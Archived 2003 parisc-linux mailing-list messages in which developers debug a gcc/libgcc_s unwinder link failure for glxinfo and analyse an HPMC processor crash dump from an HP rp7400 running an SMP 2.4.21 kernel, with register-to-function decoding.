Xref: news.gmane.org gmane.linux.ports.parisc:19159

Grant,

> The basic problem is glxinfo (C program) links against libGLU.so
> (C++ built library). But glxinfo fails to link using gcc:
> ...
> gcc -o glxinfo -g -O -ansi -pedantic -Wall -Wpointer-arith -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations -Wredundant-decls -Wnested-externs -Wundef     -L../../exports/lib glxinfo.o -lGLU -lGL -lXext -lX11  -lpthread -lm -Wl,-rpath-link,../../exports/lib
> ../../exports/lib/libGLU.so: undefined reference to `_Unwind_SjLj_Resume@GCC_3.0'
> ../../exports/lib/libGLU.so: undefined reference to `_Unwind_SjLj_Register@GCC_3.0'
> /usr/bin/../lib/libstdc++.so.5: undefined reference to `_Unwind_SjLj_RaiseException@GCC_3.0'
> ../../exports/lib/libGLU.so: undefined reference to `_Unwind_SjLj_Unregister@GCC_3.0'
> /usr/bin/../lib/libstdc++.so.5: undefined reference to `_Unwind_SjLj_Resume_or_Rethrow@GCC_3.3'
> collect2: ld returned 1 exit status
> ...

All of those should resolve to /lib/libgcc_s.so, which gcc should
include for you.
 
> Is libGLU.so getting built wrong?  (ie resolved in libGLU.so directly)
> Or should C programs not use C++ built libs? (How can the author know?)
> Or is this a bug in gcc/binutils? (not picking up libgcc_eh.a)

Doesn't look like it. It looks more like gcc broke.

> This might be a generic problem since a few other libs on
> my box have _Unwind_SjLj_Resume (for example) unresolved:
> 
> libasprintf.a
> libgmpxx.a
> libncurses++.a

That's fine, but they should be linked against /lib/libgcc_s.so.
Run ldd on them, followed by 'readelf -a <lib>' and you'll see that 
that libgcc_s.so provides the symbols as GLOBAL DEFAULT and versioned 
correctly.

c.



From - Thu Nov 08 21:28:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 4.2.1-9 build problem
Date: Mon, 11 Aug 2003 10:24:57 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <200308111424.h7BEOv14017589@hiauly1.hia.nrc.ca>
References: <20030811043457.GA5653@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622667 28988 80.91.229.3 (22 Nov 2014 02:17:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 08:25:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 95CAF482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 08:24:59 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h7BEOwgL017591;
	Mon, 11 Aug 2003 10:24:58 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h7BEOv14017589;
	Mon, 11 Aug 2003 10:24:57 -0400 (EDT)
In-Reply-To: <20030811043457.GA5653@dsl2.external.hp.com> from "Grant Grundler" at Aug 10, 2003 10:34:57 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19160

> The basic problem is glxinfo (C program) links against libGLU.so
> (C++ built library). But glxinfo fails to link using gcc:
> ...
> gcc -o glxinfo -g -O -ansi -pedantic -Wall -Wpointer-arith -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations -Wredundant-decls -Wnested-externs -Wundef     -L../../exports/lib glxinfo.o -lGLU -lGL -lXext -lX11  -lpthread -lm -Wl,-rpath-link,../../exports/lib
> ../../exports/lib/libGLU.so: undefined reference to `_Unwind_SjLj_Resume@GCC_3.0'
> ../../exports/lib/libGLU.so: undefined reference to `_Unwind_SjLj_Register@GCC_3.0'
> /usr/bin/../lib/libstdc++.so.5: undefined reference to `_Unwind_SjLj_RaiseException@GCC_3.0'
> ../../exports/lib/libGLU.so: undefined reference to `_Unwind_SjLj_Unregister@GCC_3.0'
> /usr/bin/../lib/libstdc++.so.5: undefined reference to `_Unwind_SjLj_Resume_or_Rethrow@GCC_3.3'
> collect2: ld returned 1 exit status
> ...

Did you do the build with one of my private builds of GCC?  They were built
with dwarf2 exception support and don't have these symbols in libgcc_s.so.1.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Debian on rp 7400
Date: Mon, 11 Aug 2003 17:11:47 +0200
Lines: 737
Approved: news@gmane.org
Message-ID: <3F29178A000027DB__12176.7407203608$1416622668$gmane$org@ocpmta7.freegates.net>
References: <200308081640.52355.bjorn.helgaas@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622668 28991 80.91.229.3 (22 Nov 2014 02:17:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:48 +0000 (UTC)
Cc: "Conan C. Albrecht" <conan_albrecht@byu.edu>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: "Bjorn Helgaas" <bjorn.helgaas@hp.com>,
	"Grant Grundler" <grundler@parisc-linux.org>,
	"Joel Soete" <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 09:11:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id A8E01482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 09:11:58 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19mEIN-0006xC-00; Mon, 11 Aug 2003 17:09:15 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 11 Aug 2003 17:11:47 +0200
In-Reply-To: <200308081640.52355.bjorn.helgaas@hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19161

>
>For archive crawlers, here's a link to Willy's idea for using kmap to
> 
>deal with this problem:
>
>http://lists.parisc-linux.org/pipermail/parisc-linux/2002-March/015826.html

Hmm still an hypothesis to confirmed (i read somewhere)?

So I rebuild a 2.4.21-pa9 in smp mode and get the piminfo:

PROCESSOR PIM INFORMATION

Original Product Number:  A3639C
Current Product Number:   A3639C


-------  Processor 1 HPMC Information - PDC Version: 41.28   ------ 

Timestamp =    Mon Aug  11 12:56:02 GMT 2003    (20:03:08:11:12:56:02)

HPMC Chassis Codes 

       Chassis Code        Extension 
       ------------        --------- 
       0x0000082000ff6242  0x0000000000000000
       0x1800082011016312  0xcb81000000000000
       0x0000087000ff6292  0x000000ffff800000
       0x6000082013016062  0x2002000000080000
       0x6000082013016072  0x0000000000080000
       0x7000082013016082  0x0000000000192200
       0x6000082013036062  0x2001000000082004
       0x6000082013036072  0x0000000000082000
       0x7000082013036082  0x0000000000992600
       0x6000082070006062  0x0000000000080000
       0x6000082070006072  0x0000000000080000
       0x7000082070006082  0x0000000000192200
       0x6000082070016062  0x0000000000000800
       0x6000082070016072  0x0000000000000800
       0x7000082070016082  0x00000000001a4400
       0x0000080080006310  0x0000000000000001
       0x7000082082006333  0x0000000000b92200
       0x7000082082016333  0x0000000000b92200
       0x000008008000631f  0x0000000000000000
       

General Registers 0 - 31
00-03  0000000000000000  000000001040d000  000000001014e9e0  000000008f3ceec0
04-07  000000000012bcc8  0000000000000001  000000008f3c6bc0  0000000000000001
08-11  0000000010527470  0000000010527470  000000000000001a  00000000134bd468
12-15  000000007f1deb25  000000008f3c6bc0  000000000012acc8  000000008f3b1950
16-19  000000008f3c85b8  0000000000004000  0000000000016000  0000000000000180
20-23  000000008f3ceec0  000000000000003f  0000000000000000  0000000000000040
24-27  000000007f1deb27  000000000012acc8  000000008f3c6bc0  0000000010527470
28-31  000000000800000f  000000008f3c8ef0  000000008f3c8f40  0000000000008ba3


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000006  0000000000000000  00000000000000c0  0000000000000035
12-15  0000000000000000  0000000000000000  0000000000107000  ffe0000000000000
16-19  0000001f0ff8e1f0  0000000000000000  000000001010b8c8  000000000fc212c1
20-23  00000000103401fc  00000000f23c8f30  0000007f0804ff0f  c000000000000000
24-27  0000000000453000  000000007f3c7000  0000000000041020  000000ffff95c810
28-31  5555555555555555  5555555555555555  000000008f3c8000  0000000010590000

Space Registers 0 - 7
00-03  00000180          00000180          00000000          00000180
04-07  00000000          00000000          00000000          00000000


IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x000000001010b8cc
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0010c03b
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0xfffffffffed25000


Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000010586ec0  0000000000000002  00000000104c7b68  0000000000000420
08-11  0000000000000000  0000000000000802  0000000010527470  000000001058a000
12-15  00000000135a0000  0000000000000000  000000001017dc84  00000000103ceb94
16-19  00000000000009f0  000000008facf000  0000000010527470  00000000135a0000
20-23  00000000103aa184  fffffffffffffff4  00000000003f45a2  000000000000ba2e
24-27  0000000400000000  00009999035a0b70  00000000035a0b78  000000001040d980
28-31  000000001040d980  00000000ff915e20  0000000010185248  0000000000000000


Check Summary                = 0xcb81000000000000
Available Memory             = 0x0000000100000000
CPU Diagnose Register 2      = 0x0301010800802004
CPU Status Register 0        = 0x2640c24000000000
CPU Status Register 1        = 0x8000200000000000
SADD LOG                     = 0xf4e2930000429440
Read Short LOG               = 0xc18200ff80000002



-----------------  DEW 1 HPMC Information -  ------ 

Timestamp =    Mon Aug  11 12:56:02 GMT 2003    (20:03:08:11:12:56:02)

Runway Control Log Reg            = 0x00927b0000000000
Runway Address Data Log Reg Odd   = 0xc0aa1010c4a61010
Runway Address Data Log Reg Even  = 0xc8a61010cca61010
Runway Address Log Reg            = 0x00000000000000f4
Runway Broad Error Log Reg        = 0x000000000000005c

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
                ERR_ERROR       X                X       

Merced Bus Requestor Address      = 0x0000000000000000
Merced Bus Target Address         = 0x0000000000000000
Merced Bus Responder Address      = 0x0000000000000000
Merced Error Status Reg           = 0x2002000000080000
Merced Error Overflow Reg         = 0x0000000000080000
Merced AERR Addr1 Log Reg         = 0x00006000ff86fdc0
Merced AERR Addr2 Log Reg         = 0x00008000078fff08
Merced DERR  Log Reg              = 0x0001000000000000
Merced Error Syndrome Reg         = 0x00000000000000c0


-------  Processor 1  LPMC Information ------------------

Check Type                   = 0x00000000
IC Parity Info               = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000



-------  Processor 1  TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000

Space Registers 0 - 7
00-03  00000000          00000000          00000000          00000000
04-07  00000000          00000000          00000000          00000000

IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x0000000000000000
CPU State                    = 0x00000000



-------  Processor 3 HPMC Information - PDC Version: 41.28   ------ 

Timestamp =    Mon Aug  11 12:56:02 GMT 2003    (20:03:08:11:12:56:02)

HPMC Chassis Codes 

       Chassis Code        Extension 
       ------------        --------- 
       0x0000082000ff6242  0x0000000000000000
       0x1800082011036322  0xcb81800000000000
       

General Registers 0 - 31
00-03  0000000000000000  0000000010536c70  0000000010115e58  00000000103aaf64
04-07  0000000000000002  00000000103ac494  0000000000000001  0000000010527470
08-11  0000000000000001  000000008f1f45b8  000000008f3cebc0  000000001057dcb0
12-15  00000000faf005f0  0000000000028280  0000000000020000  00000000faf00548
16-19  00000000faf005d0  0000000000004000  0000000000016000  0000000000000001
20-23  0000000000006061  000000001044ec08  0000000010539c70  000000001041b130
24-27  0000000000000000  000000000800000f  0000000010527c70  0000000010527470
28-31  0000000000000480  000000008f1f4e30  000000008f1f4e40  000000001052a470


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000010  0000000000000000  00000000000000c0  0000000000000036
12-15  0000000000000000  0000000000000000  0000000000107000  ffe0000000000000
16-19  0000001f0fd05cbd  0000000000000000  0000000010116050  0000000008000240
20-23  0000000000000000  0000000000000000  000000000806070f  0000000000000000
24-27  0000000000453000  000000007f1f2000  0000000000041020  000000ffff95c810
28-31  000000ffff95c810  5555555555555555  000000008f1f4000  0000000000008020

Space Registers 0 - 7
00-03  00000400          00000400          00000000          00000400
04-07  00000000          00000000          00000000          00000000


IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x0000000010116054
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030000d
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0xfffffffffed2d000
System Requestor Address     = 0x000000fffed2c000


Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000010586ec0  0000000000000002  00000000104c7b68  0000000000000420
08-11  0000000000000000  0000000000000802  0000000010527470  000000001058a000
12-15  00000000135a0000  0000000000000000  000000001017dc84  00000000103ceb94
16-19  00000000000009f0  000000008facf000  0000000010527470  00000000135a0000
20-23  00000000103aa184  fffffffffffffff4  00000000003f45a2  000000000000ba2e
24-27  0000999900000000  00009999035a0b70  00000000035a0b78  000000001040d980
28-31  000000001040d980  00000000ff915e20  0000000010185248  0000000000000016


Check Summary                = 0xcb81800000000000
Available Memory             = 0x0000000100000000
CPU Diagnose Register 2      = 0x0301030800802004
CPU Status Register 0        = 0x3640c24000000000
CPU Status Register 1        = 0x8000000000000000
SADD LOG                     = 0x48e0000000000002
Read Short LOG               = 0xc18080ff80080014



-----------------  DEW 3 HPMC Information -  ------ 

Timestamp =    Mon Aug  11 12:56:02 GMT 2003    (20:03:08:11:12:56:02)

Runway Control Log Reg            = 0x0006720000000000
Runway Address Data Log Reg Odd   = 0xfffffffffffc3f00
Runway Address Data Log Reg Even  = 0xfffffffffffc3f00
Runway Address Log Reg            = 0x0000000000000048
Runway Broad Error Log Reg        = 0x00000000000000dc

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
  X             ERR_ERROR       X            X   X       

Merced Bus Requestor Address      = 0x0000000000000000
Merced Bus Target Address         = 0x0000000000000000
Merced Bus Responder Address      = 0x0000000000000000
Merced Error Status Reg           = 0x2001000000082004
Merced Error Overflow Reg         = 0x0000000000082000
Merced AERR Addr1 Log Reg         = 0x00c0000000300000
Merced AERR Addr2 Log Reg         = 0x0000000000f00000
Merced DERR  Log Reg              = 0x00c1100000000000
Merced Error Syndrome Reg         = 0x0000000052000000


-------  Processor 3  LPMC Information ------------------

Check Type                   = 0x00000000
IC Parity Info               = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000



-------  Processor 3  TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000

Space Registers 0 - 7
00-03  00000000          00000000          00000000          00000000
04-07  00000000          00000000          00000000          00000000

IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x0000000000000000
CPU State                    = 0x00000000


--------------  Memory Error Log Information  --------------

Bus 0 Log Information

Timestamp =    Mon Aug  11 12:56:02 GMT 2003    (20:03:08:11:12:56:02)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
                ERR_ERROR       X                X       

Bus Requestor Address      = 0x0000000000000000
Bus Target Address         = 0x0000000000000000
Bus Responder Address      = 0x0000000000000000

Error Status Reg           = 0x0000000000080000
Error Overflow Reg         = 0x0000000000080000
AERR Address 1 Log Reg     = 0x0000000000000000
AERR Address 2 Log Reg     = 0xf800000000000000
FERR  Log Reg              = 0x0000000000000000
DERR  Log Reg              = 0x000112800051cdc0
Error Syndrome Reg         = 0x0000000000000000



 Address/Control Parity Error Registers  

   Address/Control Parity Error Bit (AE) Not Set 



Bus 1 Log Information

Timestamp =    Mon Aug  11 12:56:02 GMT 2003    (20:03:08:11:12:56:02)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_TIMEOUT   X               X           

Bus Requestor Address      = 0xfffffffffed2c000
Bus Target Address         = 0x00000000f000a000
Bus Responder Address      = 0x0000000000000000

Error Status Reg           = 0x0000000000000800
Error Overflow Reg         = 0x0000000000000800
AERR Address 1 Log Reg     = 0x08006000f000a000
AERR Address 2 Log Reg     = 0x6000b0002f700a10
FERR  Log Reg              = 0x0000000000000000
DERR  Log Reg              = 0x0000000000000000
Error Syndrome Reg         = 0x0000000000000000



 Address/Control Parity Error Registers  

   Address/Control Parity Error Bit (AE) Not Set 



------------  I/O Module Error Log Information  ------------

Summary of IO subsystem log entries
-----------------------------------
                        Phys Loc             Vendor  Device   Severity
Description             (hex)                 Id      Id      CORR UNC FE
 CW
-----------             -----                ------  ------   ----------------
System Bus Adapter SB  0x000000ffffffff82   0x103c  0x1050              X
System Bus Adapter SB  0x000000ffffffff82   0x103c  0x1050              X


Detail display of IO subsystem log entries
------------------------------------------

System Bus Adapter -- System Bus Interface
------------------------------------------

Timestamp =    Mon Aug  11 12:56:02 GMT 2003    (20:03:08:11:12:56:02)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
  X       X     ERR_ERROR       X                X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0xfffffffffed00000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000007ff0034

System Bus Adapter -- System Bus Interface
------------------------------------------

Timestamp =    Mon Aug  11 12:56:02 GMT 2003    (20:03:08:11:12:56:02)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
  X       X     ERR_ERROR       X                X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0xfffffffffed40000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff01

Module Error Register   = 0x0000000007ff0034



which I submit to the PimAnalyser of my own (based on dump_analyser.sh and
still need a lot of improvement):

-------  Processor 1 HPMC Information - PDC Version: 41.28   ------ 

GR of CPU[1]
00-03  0000000000000000  000000001040d000  000000001014e9e0  000000008f3ceec0
04-07  000000000012bcc8  0000000000000001  000000008f3c6bc0  0000000000000001
08-11  0000000010527470  0000000010527470  000000000000001a  00000000134bd468
12-15  000000007f1deb25  000000008f3c6bc0  000000000012acc8  000000008f3b1950
16-19  000000008f3c85b8  0000000000004000  0000000000016000  0000000000000180
20-23  000000008f3ceec0  000000000000003f  0000000000000000  0000000000000040
24-27  000000007f1deb27  000000000012acc8  000000008f3c6bc0  0000000010527470
28-31  000000000800000f  000000008f3c8ef0  000000008f3c8f40  0000000000008ba3

GR[02] == rp = 000000001014e9e0

Func: do_wp_page, Off: 0x5d8, Addr: 0x1014e9e0

    1014e9e0:	08 09 02 5b 	copy r9,dp
    1014e9e4:	34 73 00 90 	ldo 48(r3),r19
    1014e9e8:	0e 7e 12 a0 	stw,ma sp,0(,r19)
    1014e9ec:	e8 1f 19 f5 	b,l 1014e6ec <do_wp_page+0x2e4>,r0

GR[22] == t1(32bits) == arg4(64bits) = 0000000000000000

GR[21] == t2(32bits) == arg5(64bits) = 000000000000003f

GR[20] == t3(32bits) == arg6(64bits) = 000000008f3ceec0

GR[19] == t4(32bits) == arg7(64bits) = 0000000000000180

GR[26] == arg0 = 000000008f3c6bc0

GR[25] == arg1 = 000000000012acc8

GR[24] == arg2 = 000000007f1deb27

GR[23] == arg3 = 0000000000000040

GR[27] == dp = 0000000010527470

Func: __gp, Off: 0x0, Addr: 0x10527470


GR[28] == ret0 = 000000000800000f

GR[29] == ret1 or sl = 000000008f3c8ef0

GR[30] == sp = 000000008f3c8f40

GR[31] == ble rp = 0000000000008ba3
	Not parsable address!

CR of CPU[1]
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000006  0000000000000000  00000000000000c0  0000000000000035
12-15  0000000000000000  0000000000000000  0000000000107000  ffe0000000000000
16-19  0000001f0ff8e1f0  0000000000000000  000000001010b8c8  000000000fc212c1
20-23  00000000103401fc  00000000f23c8f30  0000007f0804ff0f  c000000000000000
24-27  0000000000453000  000000007f3c7000  0000000000041020  000000ffff95c810
28-31  5555555555555555  5555555555555555  000000008f3c8000  0000000010590000

CR[00] == rctr = 0000000000000000

CR[08] == (Protection ID) pidr1 = 0000000000000006

CR[10] == ccr = 00000000000000c0

CR[11] == sar = 0000000000000035

CR[14] == iva = 0000000000107000

CR[15] == eiem = ffe0000000000000

CR[16] == itmr = 0000001f0ff8e1f0

CR[17] == pcsq = 0000000000000000

CR[18] == pcoq = 000000001010b8c8

CR[19] == iir = 000000000fc212c1

CR[20] == isr = 00000000103401fc

CR[21] == ior = 00000000f23c8f30

CR[22] == ipsw = 0000007f0804ff0f

CR[23] == eirw = c000000000000000

CR[24] == tr0 (ptov) = 0000000000453000

CR[25] == tr1 (vtop) = 000000007f3c7000

CR[26] == tr2 = 0000000000041020

CR[27] == tr3 = 000000ffff95c810

CR[28] == tr4 = 5555555555555555

CR[29] == tr5 = 5555555555555555

CR[30] == tr6 = 000000008f3c8000

CR[31] == tr7 = 0000000010590000

SR of CPU[1]
00-03  00000180          00000180          00000000          00000180
04-07  00000000          00000000          00000000          00000000
Need much more work !!!

SR[00] == ts0 = 00000180

SR[01] == ts1 = 00000180

SR[03] == cpp = 00000180
	Not parsable address!
...
IIA Offset (back entry)      = 0x000000001010b8cc
...

e.g. IAOQ = 0x000000001010b8cc

FPR of CPU[1]
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000010586ec0  0000000000000002  00000000104c7b68  0000000000000420
08-11  0000000000000000  0000000000000802  0000000010527470  000000001058a000
12-15  00000000135a0000  0000000000000000  000000001017dc84  00000000103ceb94
16-19  00000000000009f0  000000008facf000  0000000010527470  00000000135a0000
20-23  00000000103aa184  fffffffffffffff4  00000000003f45a2  000000000000ba2e
24-27  0000000400000000  00009999035a0b70  00000000035a0b78  000000001040d980
28-31  000000001040d980  00000000ff915e20  0000000010185248  0000000000000000

Parse IAOQ = 0x000000001010b8cc for CPU[1]

Func: update_mmu_cache, Off: 0x4, Addr: 0x1010b8cc

    1010b8c0:	37 de 3f 01 	ldo -80(sp),sp
    1010b8c4:	00 00 00 00 	break 0,0
	...
000000001010b8c8 <update_mmu_cache>:

	...
    1010b8c8:	0f c2 12 c1 	std rp,-10(,sp)
    1010b8cc:	2b 6a 20 00 	addil 15000,dp,%r1
-------  Processor 3 HPMC Information - PDC Version: 41.28   ------ 

GR of CPU[3]
00-03  0000000000000000  0000000010536c70  0000000010115e58  00000000103aaf64
04-07  0000000000000002  00000000103ac494  0000000000000001  0000000010527470
08-11  0000000000000001  000000008f1f45b8  000000008f3cebc0  000000001057dcb0
12-15  00000000faf005f0  0000000000028280  0000000000020000  00000000faf00548
16-19  00000000faf005d0  0000000000004000  0000000000016000  0000000000000001
20-23  0000000000006061  000000001044ec08  0000000010539c70  000000001041b130
24-27  0000000000000000  000000000800000f  0000000010527c70  0000000010527470
28-31  0000000000000480  000000008f1f4e30  000000008f1f4e40  000000001052a470

GR[02] == rp = 0000000010115e58

Func: smp_call_function, Off: 0x78, Addr: 0x10115e58

    10115e50:	e8 00 b0 60 	b,l 10116688 <__atomic_set>,%r2
    10115e54:	37 39 3f ff 	ldo -1(r25),r25
    10115e58:	84 80 24 58 	cmpib,= 0,r4,1011608c <smp_call_function+0x2ac>
    10115e5c:	08 07 02 5b 	copy r7,dp

GR[22] == t1(32bits) == arg4(64bits) = 0000000010539c70

